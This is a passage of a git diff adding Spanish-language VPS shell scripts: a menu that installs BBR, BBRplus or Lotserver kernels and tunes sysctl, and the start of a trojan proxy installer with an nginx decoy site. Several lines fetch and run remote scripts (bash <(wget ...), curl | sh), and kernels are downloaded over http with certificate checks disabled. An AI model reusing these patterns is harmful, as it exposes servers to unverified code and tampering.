kernel_version="4.11.8" + if [[ "${release}" == "centos" ]]; then + rpm --import http://${github}/bbr/${release}/RPM-GPG-KEY-elrepo.org + yum install -y http://${github}/bbr/${release}/${version}/${bit}/kernel-ml-${kernel_version}.rpm + yum remove -y kernel-headers + yum install -y http://${github}/bbr/${release}/${version}/${bit}/kernel-ml-headers-${kernel_version}.rpm + yum install -y http://${github}/bbr/${release}/${version}/${bit}/kernel-ml-devel-${kernel_version}.rpm + elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then + mkdir bbr && cd bbr + wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u10_amd64.deb + wget -N --no-check-certificate http://${github}/bbr/debian-ubuntu/linux-headers-${kernel_version}-all.deb + wget -N --no-check-certificate http://${github}/bbr/debian-ubuntu/${bit}/linux-headers-${kernel_version}.deb + wget -N --no-check-certificate http://${github}/bbr/debian-ubuntu/${bit}/linux-image-${kernel_version}.deb + + dpkg -i libssl1.0.0_1.0.1t-1+deb8u10_amd64.deb + dpkg -i linux-headers-${kernel_version}-all.deb + dpkg -i linux-headers-${kernel_version}.deb + dpkg -i linux-image-${kernel_version}.deb + cd .. && rm -rf bbr + fi + detele_kernel + BBR_grub + msg -bar + echo -e "${Tip} Después de reiniciar el VPS, vuelva a ejecutar el script para abrir\n${Red_font_prefix} BBR/BBR Versión mágica${Font_color_suffix}" + msg -bar + stty erase '^H' && read -p "Debe reiniciar el VPS antes de poder habilitar BBR, reiniciar ahora. ? [Y/n] :" yn + [ -z "${yn}" ] && yn="y" + if [[ $yn == [Yy] ]]; then + echo -e "${Info} VPS se reinicia ..." + reboot + fi +} + +#Instale el núcleo BBRplus +installbbrplus(){ + kernel_version="4.14.129-bbrplus" + if [[ "${release}" == "centos" ]]; then + wget -N --no-check-certificate https://${github}/bbrplus/${release}/${version}/kernel-${kernel_version}.rpm + yum install -y kernel-${kernel_version}.rpm + rm -f kernel-${kernel_version}.rpm + kernel_version="4.14.129_bbrplus" #fix a bug + elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then + mkdir bbrplus && cd bbrplus + wget -N --no-check-certificate http://${github}/bbrplus/debian-ubuntu/${bit}/linux-headers-${kernel_version}.deb + wget -N --no-check-certificate http://${github}/bbrplus/debian-ubuntu/${bit}/linux-image-${kernel_version}.deb + dpkg -i linux-headers-${kernel_version}.deb + dpkg -i linux-image-${kernel_version}.deb + cd .. && rm -rf bbrplus + fi + detele_kernel + BBR_grub + msg -bar + echo -e "${Tip} Después de reiniciar el VPS, vuelva a ejecutar el script para abrir\n${Red_font_prefix} BBRplus${Font_color_suffix}" + msg -bar + stty erase '^H' && read -p "Debe reiniciar el VPS antes de poder habilitar BBRplus, reiniciar ahora ? [Y/n] :" yn + [ -z "${yn}" ] && yn="y" + if [[ $yn == [Yy] ]]; then + echo -e "${Info} VPS se reinicia ..." + reboot + fi +} + +#Instale el kernel de Lotserver +installlot(){ + if [[ "${release}" == "centos" ]]; then + rpm --import http://${github}/lotserver/${release}/RPM-GPG-KEY-elrepo.org + yum remove -y kernel-firmware + yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-firmware-${kernel_version}.rpm + yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-${kernel_version}.rpm + yum remove -y kernel-headers + yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-headers-${kernel_version}.rpm + yum install -y http://${github}/lotserver/${release}/${version}/${bit}/kernel-devel-${kernel_version}.rpm + elif [[ "${release}" == "ubuntu" ]]; then + bash <(wget --no-check-certificate -qO- "http://${github}/Debian_Kernel.sh") + elif [[ "${release}" == "debian" ]]; then + bash <(wget --no-check-certificate -qO- "http://${github}/Debian_Kernel.sh") + fi + detele_kernel + BBR_grub + msg -bar + echo -e "${Tip} Después de reiniciar el VPS, vuelva a ejecutar el script para abrir\n${Red_font_prefix}Lotserver${Font_color_suffix}" + msg -bar + stty erase '^H' && read -p "Necesita reiniciar el VPS antes de poder abrir Lotserver, reiniciar ahora ? [Y/n] :" yn + [ -z "${yn}" ] && yn="y" + if [[ $yn == [Yy] ]]; then + echo -e "${Info} VPS se reinicia ..." + reboot + fi +} + +# Habilitar BBR +startbbr(){ + remove_all + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf + sysctl -p + echo -e "${Info}¡BBR comenzó con éxito!" + msg -bar +} + +#Habilitar BBRplus +startbbrplus(){ + remove_all + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=bbrplus" >> /etc/sysctl.conf + sysctl -p + echo -e "${Info}BBRplus comenzó con éxito!!" + msg -bar +} + +# Compilar y habilitar el cambio mágico BBR +startbbrmod(){ + remove_all + if [[ "${release}" == "centos" ]]; then + yum install -y make gcc + mkdir bbrmod && cd bbrmod + wget -N --no-check-certificate http://${github}/bbr/tcp_tsunami.c + echo "obj-m:=tcp_tsunami.o" > Makefile + make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc + chmod +x ./tcp_tsunami.ko + cp -rf ./tcp_tsunami.ko /lib/modules/$(uname -r)/kernel/net/ipv4 + insmod tcp_tsunami.ko + depmod -a + else + apt-get update + if [[ "${release}" == "ubuntu" && "${version}" = "14" ]]; then + apt-get -y install build-essential + apt-get -y install software-properties-common + add-apt-repository ppa:ubuntu-toolchain-r/test -y + apt-get update + fi + apt-get -y install make gcc + mkdir bbrmod && cd bbrmod + wget -N --no-check-certificate http://${github}/bbr/tcp_tsunami.c + echo "obj-m:=tcp_tsunami.o" > Makefile + ln -s /usr/bin/gcc /usr/bin/gcc-4.9 + make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc-4.9 + install tcp_tsunami.ko /lib/modules/$(uname -r)/kernel + cp -rf ./tcp_tsunami.ko /lib/modules/$(uname -r)/kernel/net/ipv4 + depmod -a + fi + + + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=tsunami" >> /etc/sysctl.conf + sysctl -p + cd .. && rm -rf bbrmod + echo -e "${Info}¡La versión mágica de BBR comenzó con éxito!" + msg -bar +} + +# Compilar y habilitar el cambio mágico BBR +startbbrmod_nanqinlang(){ + remove_all + if [[ "${release}" == "centos" ]]; then + yum install -y make gcc + mkdir bbrmod && cd bbrmod + wget -N --no-check-certificate https://raw.githubusercontent.com/chiakge/Linux-NetSpeed/master/bbr/centos/tcp_nanqinlang.c + echo "obj-m := tcp_nanqinlang.o" > Makefile + make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc + chmod +x ./tcp_nanqinlang.ko + cp -rf ./tcp_nanqinlang.ko /lib/modules/$(uname -r)/kernel/net/ipv4 + insmod tcp_nanqinlang.ko + depmod -a + else + apt-get update + if [[ "${release}" == "ubuntu" && "${version}" = "14" ]]; then + apt-get -y install build-essential + apt-get -y install software-properties-common + add-apt-repository ppa:ubuntu-toolchain-r/test -y + apt-get update + fi + apt-get -y install make gcc-4.9 + mkdir bbrmod && cd bbrmod + wget -N --no-check-certificate https://raw.githubusercontent.com/chiakge/Linux-NetSpeed/master/bbr/tcp_nanqinlang.c + echo "obj-m := tcp_nanqinlang.o" > Makefile + make -C /lib/modules/$(uname -r)/build M=`pwd` modules CC=/usr/bin/gcc-4.9 + install tcp_nanqinlang.ko /lib/modules/$(uname -r)/kernel + cp -rf ./tcp_nanqinlang.ko /lib/modules/$(uname -r)/kernel/net/ipv4 + depmod -a + fi + + + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=nanqinlang" >> /etc/sysctl.conf + sysctl -p + echo -e "${Info}¡La versión mágica de BBR comenzó con éxito!" + msg -bar +} + +# Habilitar Lotserver +startlotserver(){ + remove_all + if [[ "${release}" == "centos" ]]; then + yum install ethtool + else + apt-get update + apt-get install ethtool + fi + bash <(wget --no-check-certificate -qO- https://github.com/MoeClub/lotServer/raw/master/Install.sh) install + start_menu +} + +# Desinstalar toda la aceleración +remove_all(){ + rm -rf bbrmod + sed -i '/net.core.default_qdisc/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_congestion_control/d' /etc/sysctl.conf + sed -i '/fs.file-max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_max/d' /etc/sysctl.conf + sed -i '/net.core.wmem_max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_default/d' /etc/sysctl.conf + sed -i '/net.core.wmem_default/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_recycle/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_keepalive_time/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_rmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_wmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_mtu_probing/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf + sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf + if [[ -e /appex/bin/lotServer.sh ]]; then + bash <(wget --no-check-certificate -qO- https://github.com/MoeClub/lotServer/raw/master/Install.sh) uninstall + fi + clear + echo -e "${Info}:La aceleración está Desinstalada." + sleep 1s +} + +#Optimizar la configuración del sistema +optimizing_system(){ + sed -i '/fs.file-max/d' /etc/sysctl.conf + sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf + echo "fs.file-max = 1000000 +fs.inotify.max_user_instances = 8192 +net.ipv4.tcp_syncookies = 1 +net.ipv4.tcp_fin_timeout = 30 +net.ipv4.tcp_tw_reuse = 1 +net.ipv4.ip_local_port_range = 1024 65000 +net.ipv4.tcp_max_syn_backlog = 16384 +net.ipv4.tcp_max_tw_buckets = 6000 +net.ipv4.route.gc_timeout = 100 +net.ipv4.tcp_syn_retries = 1 +net.ipv4.tcp_synack_retries = 1 +net.core.somaxconn = 32768 +net.core.netdev_max_backlog = 32768 +net.ipv4.tcp_timestamps = 0 +net.ipv4.tcp_max_orphans = 32768 +# forward ipv4 +net.ipv4.ip_forward = 1">>/etc/sysctl.conf + sysctl -p + echo "* soft nofile 1000000 +* hard nofile 1000000">/etc/security/limits.conf + echo "ulimit -SHn 1000000">>/etc/profile + read -p "Después de aplicar la configuracion al VPS necesita reiniciar, reiniciar ahora ? [Y/n] :" yn + msg -bar + [ -z "${yn}" ] && yn="y" + if [[ $yn == [Yy] ]]; then + echo -e "${Info} Reinicio de VPS..." + reboot + fi +} +# Script de actualización +Update_Shell(){ + echo -e "La versión actual es [ ${sh_ver} ],Empieza a detectar la última versión..." + sh_new_ver=$(wget --no-check-certificate -qO- "http://${github}/tcp.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) + [[ -z ${sh_new_ver} ]] && echo -e "${Error} Error al detectar la última versión !" && start_menu + if [[ ${sh_new_ver} != ${sh_ver} ]]; then + echo -e "Descubre nueva versión[ ${sh_new_ver} ],Ya sea para actualizar?[Y/n]" + read -p "(Por defecto: y):" yn + [[ -z "${yn}" ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + wget -N --no-check-certificate http://${github}/tcp.sh && chmod +x tcp.sh + echo -e "El script ha sido actualizado a la última versión.[ ${sh_new_ver} ] !" + else + echo && echo " Cancelado ..." && echo + fi + else + echo -e "Actualmente la última versión[ ${sh_new_ver} ] !" + sleep 5s + fi +} + +# Menú de inicio +start_menu(){ +clear +msg -bar +echo -e " TCP Aceleración (BBR/Plus) ADM-ChumoGH By @drowkid01 ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix} +$(msg -bar) + ${Green_font_prefix}0.${Font_color_suffix} Script de actualización +————————————Gestión del Núcleo———————————— + ${Green_font_prefix}1.${Font_color_suffix} Instalación BBR/BBR Kernel Mágico + ${Green_font_prefix}2.${Font_color_suffix} Instalación BBRplus Kernel + ${Green_font_prefix}3.${Font_color_suffix} Instalación Lotserver Kernel (Velocidad Aguda) +————————————Gestión Acelerada———————————— + ${Green_font_prefix}4.${Font_color_suffix} Usar BBR Aceleración + ${Green_font_prefix}5.${Font_color_suffix} Usar BBR Velocidad de revisión mágica + ${Green_font_prefix}6.${Font_color_suffix} Usar BBR Aceleración Violenta de revisión mágica + ${Green_font_prefix}7.${Font_color_suffix} Usar BBRplus Aceleración + ${Green_font_prefix}8.${Font_color_suffix} Usar Lotserver (Velocidad Brusca) Aceleración +————————————Manejo misceláneo———————————— + ${Green_font_prefix}9.${Font_color_suffix} Desintalar Todas las Aceleraciones + ${Green_font_prefix}10.${Font_color_suffix} Optimización de la configuración del sistema. + ${Green_font_prefix}11.${Font_color_suffix} Salir del script +————————————————————————————————" && msg -bar + + check_status + if [[ ${kernel_status} == "noinstall" ]]; then + echo -e " Estado actual: ${Green_font_prefix}No instalado\n${Font_color_suffix} Kernel Acelerado ${Red_font_prefix}Por favor, instale el Núcleo primero.${Font_color_suffix}" + else + echo -e " Estado actual: ${Green_font_prefix}Instalado\n${Font_color_suffix} ${_font_prefix}${kernel_status}${Font_color_suffix} Kernel Acelerado, ${Green_font_prefix}${run_status}${Font_color_suffix}" + + fi +msg -bar +read -p " Por favor ingrese un número [0-11]:" num +case "$num" in + 0) + Update_Shell + ;; + 1) + check_sys_bbr + ;; + 2) + check_sys_bbrplus + ;; + 3) + check_sys_Lotsever + ;; + 4) + startbbr + ;; + 5) + startbbrmod + ;; + 6) + startbbrmod_nanqinlang + ;; + 7) + startbbrplus + ;; + 8) + startlotserver + ;; + 9) + remove_all + ;; + 10) + optimizing_system + ;; + 11) + exit 1 + ;; + *) + clear + echo -e "${Error}:Por favor ingrese el número correcto [0-11]" + sleep 5s + start_menu + ;; +esac +} +############# Componentes de gestión del núcleo ############# + +# Eliminar kernel redundante +detele_kernel(){ + if [[ "${release}" == "centos" ]]; then + rpm_total=`rpm -qa | grep kernel | grep -v "${kernel_version}" | grep -v "noarch" | wc -l` + if [ "${rpm_total}" > "1" ]; then + echo -e "Detectado ${rpm_total} El resto del núcleo, comienza a desinstalar ..." + for((integer = 1; integer <= ${rpm_total}; integer++)); do + rpm_del=`rpm -qa | grep kernel | grep -v "${kernel_version}" | grep -v "noarch" | head -${integer}` + echo -e "Comience a desinstalar${rpm_del} Kernel ..." + rpm --nodeps -e ${rpm_del} + echo -e "Desinstalar ${rpm_del} La desinstalación del núcleo se ha completado, continúa ..." + done + echo --nodeps -e "El núcleo se desinstala y continúa ..." + else + echo -e " El número de núcleos detectados es incorrecto, ¡por favor verifique!" && exit 1 + fi + elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then + deb_total=`dpkg -l | grep linux-image | awk '{print $2}' | grep -v "${kernel_version}" | wc -l` + if [ "${deb_total}" > "1" ]; then + echo -e "Detectado ${deb_total} El resto del núcleo, comienza a desinstalar ..." + for((integer = 1; integer <= ${deb_total}; integer++)); do + deb_del=`dpkg -l|grep linux-image | awk '{print $2}' | grep -v "${kernel_version}" | head -${integer}` + echo -e "Comience a desinstalar ${deb_del} Kernel ..." + apt-get purge -y ${deb_del} + echo -e "Desinstalar ${deb_del} La desinstalación del núcleo se ha completado, continúa ..." + done + echo -e "El núcleo se desinstala y continúa ..." + else + echo -e " El número de núcleos detectados es incorrecto, ¡por favor verifique!" && exit 1 + fi + fi +} + +#Actualizar arranque +BBR_grub(){ + if [[ "${release}" == "centos" ]]; then + if [[ ${version} = "6" ]]; then + if [ ! -f "/boot/grub/grub.conf" ]; then + echo -e "${Error} /boot/grub/grub.conf No encontrado, verifique." + exit 1 + fi + sed -i 's/^default=.*/default=0/g' /boot/grub/grub.conf + elif [[ ${version} = "7" ]]; then + if [ ! -f "/boot/grub2/grub.cfg" ]; then + echo -e "${Error} /boot/grub2/grub.cfg No encontrado, verifique." + exit 1 + fi + grub2-set-default 0 + fi + elif [[ "${release}" == "debian" || "${release}" == "ubuntu" ]]; then + /usr/sbin/update-grub + fi +} + +#############Componente de gestión del kernel############# + + + +#############Componentes de detección del sistema############# + +#Sistema de inspección +check_sys(){ + if [[ -f /etc/redhat-release ]]; then + release="centos" + elif cat /etc/issue | grep -q -E -i "debian"; then + release="debian" + elif cat /etc/issue | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + elif cat /proc/version | grep -q -E -i "debian"; then + release="debian" + elif cat /proc/version | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + fi +} + +#Verifique la versión de Linux +check_version(){ + if [[ -s /etc/redhat-release ]]; then + version=`grep -oE "[0-9.]+" /etc/redhat-release | cut -d . -f 1` + else + version=`grep -oE "[0-9.]+" /etc/issue | cut -d . -f 1` + fi + bit=`uname -m` + if [[ ${bit} = "x86_64" ]]; then + bit="x64" + else + bit="x32" + fi +} + +#Verifique los requisitos del sistema para instalar bbr +check_sys_bbr(){ + check_version + if [[ "${release}" == "centos" ]]; then + if [[ ${version} -ge "6" ]]; then + installbbr + else + echo -e "${Error} BBR El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "debian" ]]; then + if [[ ${version} -ge "8" ]]; then + installbbr + else + echo -e "${Error} BBR El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "ubuntu" ]]; then + if [[ ${version} -ge "14" ]]; then + installbbr + else + echo -e "${Error} BBR El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + else + echo -e "${Error} BBR El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi +} + +check_sys_bbrplus(){ + check_version + if [[ "${release}" == "centos" ]]; then + if [[ ${version} -ge "6" ]]; then + installbbrplus + else + echo -e "${Error} BBRplus El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "debian" ]]; then + if [[ ${version} -ge "8" ]]; then + installbbrplus + else + echo -e "${Error} BBRplus El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "ubuntu" ]]; then + if [[ ${version} -ge "14" ]]; then + installbbrplus + else + echo -e "${Error} BBRplus El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + else + echo -e "${Error} BBRplus El núcleo no es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi +} + + +#Verifique los requisitos del sistema para instalar Lotsever +check_sys_Lotsever(){ + check_version + if [[ "${release}" == "centos" ]]; then + if [[ ${version} == "6" ]]; then + kernel_version="2.6.32-504" + installlot + elif [[ ${version} == "7" ]]; then + yum -y install net-tools + kernel_version="3.10.0-327" + installlot + else + echo -e "${Error} Lotsever No es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "debian" ]]; then + if [[ ${version} = "7" || ${version} = "8" ]]; then + if [[ ${bit} == "x64" ]]; then + kernel_version="3.16.0-4" + installlot + elif [[ ${bit} == "x32" ]]; then + kernel_version="3.2.0-4" + installlot + fi + elif [[ ${version} = "9" ]]; then + if [[ ${bit} == "x64" ]]; then + kernel_version="4.9.0-4" + installlot + fi + else + echo -e "${Error} Lotsever No es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "ubuntu" ]]; then + if [[ ${version} -ge "12" ]]; then + if [[ ${bit} == "x64" ]]; then + kernel_version="4.4.0-47" + installlot + elif [[ ${bit} == "x32" ]]; then + kernel_version="3.13.0-29" + installlot + fi + else + echo -e "${Error} Lotsever No es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + else + echo -e "${Error} Lotsever No es compatible con el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi +} + +check_status(){ + kernel_version=`uname -r | awk -F "-" '{print $1}'` + kernel_version_full=`uname -r` + if [[ ${kernel_version_full} = "4.14.129-bbrplus" ]]; then + kernel_status="BBRplus" + elif [[ ${kernel_version} = "3.10.0" || ${kernel_version} = "3.16.0" || ${kernel_version} = "3.2.0" || ${kernel_version} = "4.4.0" || ${kernel_version} = "3.13.0" || ${kernel_version} = "2.6.32" || ${kernel_version} = "4.9.0" ]]; then + kernel_status="Lotserver" + elif [[ `echo ${kernel_version} | awk -F'.' '{print $1}'` == "4" ]] && [[ `echo ${kernel_version} | awk -F'.' '{print $2}'` -ge 9 ]] || [[ `echo ${kernel_version} | awk -F'.' '{print $1}'` == "5" ]]; then + kernel_status="BBR" + else + kernel_status="noinstall" + fi + + if [[ ${kernel_status} == "Lotserver" ]]; then + if [[ -e /appex/bin/lotServer.sh ]]; then + run_status=`bash /appex/bin/lotServer.sh status | grep "LotServer" | awk '{print $3}'` + if [[ ${run_status} = "running!" ]]; then + run_status="Comenzó exitosamente" + else + run_status="No se pudo iniciar" + fi + else + run_status="No hay un módulo de aceleración instalado" + fi + elif [[ ${kernel_status} == "BBR" ]]; then + run_status=`grep "net.ipv4.tcp_congestion_control" /etc/sysctl.conf | awk -F "=" '{print $2}'` + if [[ ${run_status} == "bbr" ]]; then + run_status=`lsmod | grep "bbr" | awk '{print $1}'` + if [[ ${run_status} == "tcp_bbr" ]]; then + run_status="BBR Comenzó exitosamente" + else + run_status="BBR Comenzó exitosamente" + fi + elif [[ ${run_status} == "tsunami" ]]; then + run_status=`lsmod | grep "tsunami" | awk '{print $1}'` + if [[ ${run_status} == "tcp_tsunami" ]]; then + run_status="BBR La revisión mágica se lanzó con éxito" + else + run_status="BBR Inicio de modificación mágica fallido" + fi + elif [[ ${run_status} == "nanqinlang" ]]; then + run_status=`lsmod | grep "nanqinlang" | awk '{print $1}'` + if [[ ${run_status} == "tcp_nanqinlang" ]]; then + run_status="El violento manifestante de BBR se lanzó con éxito" + else + run_status="Violenta revisión mágica de BBR no pudo comenzar" + fi + else + run_status="No hay un módulo de aceleración instalado" + fi + elif [[ ${kernel_status} == "BBRplus" ]]; then + run_status=`grep "net.ipv4.tcp_congestion_control" /etc/sysctl.conf | awk -F "=" '{print $2}'` + if [[ ${run_status} == "bbrplus" ]]; then + run_status=`lsmod | grep "bbrplus" | awk '{print $1}'` + if [[ ${run_status} == "tcp_bbrplus" ]]; then + run_status="BBRplus comenzó con éxito" + else + run_status="BBRplus comenzó con éxito" + fi + else + run_status="No hay un módulo de aceleración instalado" + fi + fi +} + +#############Componentes de detección del sistema############# +check_sys +check_version +[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} Este script no es compatible con el sistema actual. ${release} !" && exit 1 +start_menu + diff --git a/Recursos/menu/trojan-nao-sh/trojan-1.16.0-linux-amd64.tar.xz b/Recursos/menu/trojan-nao-sh/trojan-1.16.0-linux-amd64.tar.xz new file mode 100644 index 0000000..7f97e2a Binary files /dev/null and b/Recursos/menu/trojan-nao-sh/trojan-1.16.0-linux-amd64.tar.xz differ diff --git a/Recursos/menu/trojan-nao-sh/web.zip b/Recursos/menu/trojan-nao-sh/web.zip new file mode 100644 index 0000000..fb37183 Binary files /dev/null and b/Recursos/menu/trojan-nao-sh/web.zip differ diff --git a/Recursos/menu/trojan-nao.sh b/Recursos/menu/trojan-nao.sh new file mode 100644 index 0000000..0897784 --- /dev/null +++ b/Recursos/menu/trojan-nao.sh @@ -0,0 +1,494 @@ +#!/bin/bash + +function blue(){ + echo -e "\033[34m\033[01m$1\033[0m" +} +function green(){ + echo -e "\033[32m\033[01m$1\033[0m" +} +function red(){ + echo -e "\033[31m\033[01m$1\033[0m" +} +function version_lt(){ + test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" != "$1"; +} +#copy from 秋水逸冰 ss scripts +if [[ -f /etc/redhat-release ]]; then + release="centos" + systemPackage="yum" +elif cat /etc/issue | grep -Eqi "debian"; then + release="debian" + systemPackage="apt-get" +elif cat /etc/issue | grep -Eqi "ubuntu"; then + release="ubuntu" + systemPackage="apt-get" +elif cat /etc/issue | grep -Eqi "centos|red hat|redhat"; then + release="centos" + systemPackage="yum" +elif cat /proc/version | grep -Eqi "debian"; then + release="debian" + systemPackage="apt-get" +elif cat /proc/version | grep -Eqi "ubuntu"; then + release="ubuntu" + systemPackage="apt-get" +elif cat /proc/version | grep -Eqi "centos|red hat|redhat"; then + release="centos" + systemPackage="yum" +fi +systempwd="/etc/systemd/system/" + +#install & config trojan +function install_trojan(){ +$systemPackage install -y nginx +systemctl stop nginx +sleep 5 +cat > /etc/nginx/nginx.conf <<-EOF +user root; +worker_processes 1; +error_log /var/log/nginx/error.log warn; +pid /var/run/nginx.pid; +events { + worker_connections 1024; +} +http { + include /etc/nginx/mime.types; + default_type application/octet-stream; + log_format main '\$remote_addr - \$remote_user [\$time_local] "\$request" ' + '\$status \$body_bytes_sent "\$http_referer" ' + '"\$http_user_agent" "\$http_x_forwarded_for"'; + access_log /var/log/nginx/access.log main; + sendfile on; + #tcp_nopush on; + keepalive_timeout 120; + client_max_body_size 20m; + #gzip on; + server { + listen 80; + server_name $your_domain; + root /usr/share/nginx/html; + index index.php index.html index.htm; + } +} +EOF + #设置伪装站 + rm -rf /usr/share/nginx/html/* + cd /usr/share/nginx/html/ + wget https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/trojan-nao-sh/web.zip >/dev/null 2>&1 + unzip web.zip >/dev/null 2>&1 + sleep 5 + #申请https证书 + if [ ! -d "/usr/src" ]; then + mkdir /usr/src + fi + mkdir /usr/src/trojan-cert /usr/src/trojan-temp + curl https://get.acme.sh | sh + ~/.acme.sh/acme.sh --issue -d $your_domain --standalone + if test -s /root/.acme.sh/$your_domain/fullchain.cer; then + systemctl start nginx + cd /usr/src + #wget https://github.com/trojan-gfw/trojan/releases/download/v1.13.0/trojan-1.13.0-linux-amd64.tar.xz + wget https://api.github.com/repos/trojan-gfw/trojan/releases/latest >/dev/null 2>&1 + latest_version=`grep tag_name latest| awk -F '[:,"v]' '{print $6}'` + rm -f latest + wget https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/trojan-nao-sh/trojan-1.16.0-linux-amd64.tar.xz >/dev/null 2>&1 + tar xf trojan-1.16.0-linux-amd64.tar.xz >/dev/null 2>&1 + #下载trojan客户端 + wget https://www.dropbox.com/s/yegoxa4hfo5sf2z/trojan-cli.zip >/dev/null 2>&1 + wget -P /usr/src/trojan-temp https://github.com/trojan-gfw/trojan/releases/download/v${latest_version}/trojan-${latest_version}-win.zip >/dev/null 2>&1 + unzip trojan-cli.zip >/dev/null 2>&1 + unzip /usr/src/trojan-temp/trojan-${latest_version}-win.zip -d /usr/src/trojan-temp/ >/dev/null 2>&1 + mv -f /usr/src/trojan-temp/trojan/trojan.exe /usr/src/trojan-cli/ + trojan_passwd=$(cat /dev/urandom | head -1 | md5sum | head -c 8) + unset porta + echo "=================================================================" + read -p " INGRESE PUERTO TROJAN A USAR : " porta + echo "=================================================================" + [[ -z $porta ]] && porta="443" + cat > /usr/src/trojan-cli/config.yml <<-EOF +port: 7890 +socks-port: 7891 +redir-port: 7892 +allow-lan: true 